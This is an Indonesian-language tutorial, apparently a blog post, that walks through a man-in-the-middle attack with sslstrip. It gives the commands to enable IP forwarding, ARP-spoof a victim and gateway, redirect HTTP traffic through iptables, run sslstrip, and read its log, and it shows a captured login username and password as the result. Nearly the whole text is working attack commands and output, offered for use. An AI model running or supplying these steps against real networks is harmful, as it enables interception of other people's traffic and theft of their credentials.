Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut.
Cek routing,
route -n netstat -nr
aktifkan ip forwarding
enable forward paket,
echo 1 > /proc/sys/net/ipv4/ip_forward sysctl -w net.ipv4.ip_forward=1
arp spoofing
lakukan arpspoof,
arpspoof -i eth0 -t victimip routerip
arpspoof -i eth0 -t 192.168.0.106 192.168.0.100 192.168.0.106 = ip victim 192.168.0.100 = ip router / gateway / server yang akan di monitor
Cek apakah berhasil, arp -n di 192.168.0.106
arp -n Address HWtype HWaddress Flags Mask Iface 192.168.0.13 ether ec:a8:6b:f8:2e:fc C enp3s0 192.168.0.223 ether d0:04:92:19:cc:38 C enp3s0 192.168.0.7 ether 4c:e6:76:1f:15:4c C enp3s0 192.168.0.100 ether 66:31:65:39:62:38 C enp3s0
Setelah arpspoof di jalankan, lakukan arp -n
arp -n Address HWtype HWaddress Flags Mask Iface 192.168.0.13 ether ec:a8:6b:f8:2e:fc C enp3s0 192.168.0.146 ether 08:00:27:45:7a:dc C enp3s0 192.168.0.223 ether d0:04:92:19:cc:38 C enp3s0 192.168.0.7 ether 4c:e6:76:1f:15:4c C enp3s0 192.168.0.100 ether 08:00:27:45:7a:dc C enp3s0
Perhatikan MAC address 192.168.0.100 berubah :) ..
redirect packet
redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy
sslstrip
Jalankan sslstrip agar listen pada port 8080
cd ~ sslstrip -l 8080 (untuk kali linux) python sslstrip.pl –l 8080 (untuk backtrack)
lihat log
hasil penyadapan bisa dilihat di sslstrip.log, misalnya,
cd ~ tail sslstrip.log more sslstrip.log
2017-04-04 17:07:16,065 POST Data (192.168.0.100): login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1
Crashing
Entah kenapa sslstrip ini suka crash :( ...
Solusinya, coba tambahkan > /dev/null
sslstrip -k -f -l 10000 2> /dev/null
